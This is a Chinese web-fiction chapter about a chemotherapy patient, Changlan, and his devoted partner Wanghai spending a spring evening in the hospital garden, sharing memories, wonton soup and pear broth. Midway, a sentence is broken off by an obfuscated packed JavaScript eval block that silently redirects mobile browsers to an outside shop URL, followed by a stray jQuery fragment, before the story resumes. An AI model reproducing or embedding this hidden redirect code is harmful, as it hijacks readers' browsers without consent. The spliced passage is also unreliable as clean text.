第十三次化疗后，苌斓在病床上安静地睡着了。窗外的梧桐树叶在午后的阳光里轻轻晃动，斑驳的树影落在白色床单上，像一幅缓缓流动的水墨画。忘海坐在床边的椅子上，手里拿着那本翻了很多遍的旧书，书页里夹着去年秋天的梧桐叶、前年春天的玉兰花瓣，还有不知哪一年的银杏叶。他没有看书，只是看着苌斓的侧脸，看着他睫毛在睡梦中轻轻颤动，和很多年前在病房里醒来时第一眼看到的一模一样。护士推门进来换药时脚步很轻，换完药又轻轻带上门。走廊里传来远处的电话铃声，响了几下就断了。病房里很安静，只有监护仪平稳的滴答声，和窗外梧桐树叶被风吹动的沙沙声。
傍晚苌斓醒了，精神比上午又好了一些。他靠在床头看着窗外那树玉兰花，忽然说想出去坐坐。忘海把轮椅推到病房门口，又回来给他加了件外套。春天的傍晚还是有些凉，他把围巾从床头柜上拿起来，轻轻绕在苌斓脖子上——一圈，又一圈，和很久以前在路口时一模一样。苌斓低头看着自己脖子上那条灰色围巾，说这条围巾织了好多年，边都磨毛了。忘海说，磨毛了也好看。
住院部楼下的花园里，傍晚的光线温柔得不像话。夕阳从梧桐树新绿的叶子缝隙间漏下来，落在石子路上，落在草坪上，落在苌斓摊开的掌心上。他坐在轮椅上，忘海推着他慢慢走过玉兰树、走过迎春花丛、走过那片刚冒出嫩芽的草坪。空气里弥漫着春天特有的清甜——玉兰的花香、青草的涩味、远处食堂飘来的饭菜香，混在一起，被晚风轻轻吹散。苌斓闭上眼睛深深吸了一口气，说春天真好。忘海停下脚步，把轮椅停在湖边。湖面上的冰早就化了，碧绿的水面上倒映着梧桐树和玉兰花的影子，有几只野鸭子在湖心游来游去，身后拖出长长的V字形波纹。
苌斓看着那几只野鸭子，忽然说，以前我们学校操场后面也有一个湖，比这个小，冬天结冰的时候有人在上面滑冰。有一次放学他在湖边等忘海，忘海从教学楼里跑出来，手里拿着两个保温杯，一个深蓝一个浅蓝。忘海说他也记得——那天苌斓等了很久，鼻尖冻得通红，他把保温杯塞进苌斓手里让他暖手，苌斓说你傻不傻，保温杯是保温的，外面不烫。他说，那也比没有强。苌斓低下头，轻轻笑了一下，说那时候他真傻。忘海说现在也不聪明。
天渐渐暗下来，花园里的路灯亮了一排，暖黄的光映在湖面上，随着水波轻轻晃动。苌斓看着那些灯光，沉默了很久。他忽然问忘海，他们在一起多久了。忘海说，从高二开始算的话，很多年了。苌斓说，很多年是多少年。忘海说，不记得了，只记得每一天——第一年，在天台上给他递热牛奶；第三年，在病房里握着他的手；第五年，帮他剥橘子；第八年，陪他第一次化疗剃光头发；第十年，在除夕夜把红灯笼挂在输液架上；第十二年，在他掌心里写“以后每年元宵节都煮汤圆”；第十三年，在春分过后的病房里，他问他，如果他变成石头怎么办。每一年都有很多天，每一天都记得。苌斓低下头，看着自己放在膝盖上的手。无名指上的戒指在路灯下泛着温润的光泽。他说，他以前觉得自己命不好，现在觉得命太好了——好到能有一个人记得他每一年的样子，好到能有一个人陪他看过这么多春天。
忘海没有说话，只是把轮椅往前推了几步，停在玉兰树下。玉兰花在夜风里轻轻摇曳，有几片花瓣飘飘悠悠地落下来，落在苌斓的肩头，落在他的掌心里。苌斓捡起一片花瓣放在掌心里看了看，然后伸手把它别在忘海的耳朵上。他说好看，像春天的王子。忘海把花瓣从耳朵上拿下来，别回苌斓耳边，说王子只有一个，不是他。苌斓愣了一下，然后别开脸去看湖面的灯光，耳根被玉兰花瓣衬得更红了。
那天晚上，苌斓吃下了大半碗荠菜馄饨。他一口一口慢慢地嚼，每一个都嚼了很久，和以前在厨房偷吃刚出锅的饺子时一样认真。忘海问他还要不要再来一碗，他说够了，吃
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17724431|208790||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
太多胃装不下。忘海把空碗收进保温袋里，又把保温杯里温着的梨汤倒了一杯给他。苌斓接过杯子喝了一口，温度刚好，梨汤清甜。他说，今天的梨汤比昨天的好喝。忘海说，今天多放了一颗红枣。苌斓说红枣放多了会抢梨的味道。忘海说，那明天少放一颗。苌斓想了想，说还是放两颗吧，红枣多一点甜。忘海说好，两颗。
吃完馄饨，苌斓靠在床头，腿上盖着那条灰色薄毯。他说有点累，但不想睡，想再和忘海说说话。忘海把椅子往床边挪了挪。窗外月亮升起来了，细细的一弯挂在梧桐树的枝丫之间。苌斓问忘海还记不记得去年秋天他们在枫树林里堆落叶，他把忘海整个人埋进落叶堆里，忘海的眼镜歪到一边，脸上全是泥土和草屑。他伸手把忘海头发上的一片碎叶子拿掉，说你看起来像一棵秋天的树。忘海也伸手把他头发里的叶子一片一片摘出来，说你更像，头发上全是枫叶，鼻子上还有一片。
忘海说记得，他还记得苌斓躺在那堆落叶里，看着头顶的枫树，说以后每年秋天都来。他也说好。苌斓沉默了一会儿，然后问如果以后没有机会再去怎么办。忘海把苌斓的手指轻轻握住，说那就把以前去过的每一个秋天都记在心里——前年的枫叶还夹在书里，去年的山楂酸得他嘴角直抽，但他说不酸。每一片叶子都还在，每一个秋天都没有丢。
苌斓靠在忘海肩上，没有再说话。他看着窗外那弯细细的月亮，想起很久以前在天台上堆雪人，也是这样的月光，也是这样的安静。那时候他以为雪人堆完就没了，后来才知道，雪化了会变成水，水渗进土里，第二年春天会开出花。他不是回光返照，他是终于熬过了最冷的冬天，等来了属于他的春天。这个春天里有玉兰花，有荠菜馄饨，有一个愿意趴在他床边学猫叫的人。还有明天——明天早上保温杯里还是会放两颗红枣，围巾还是会换着戴。他们会继续并肩走过每一个春天，就像过去那些年一样，也像未来那些年一样。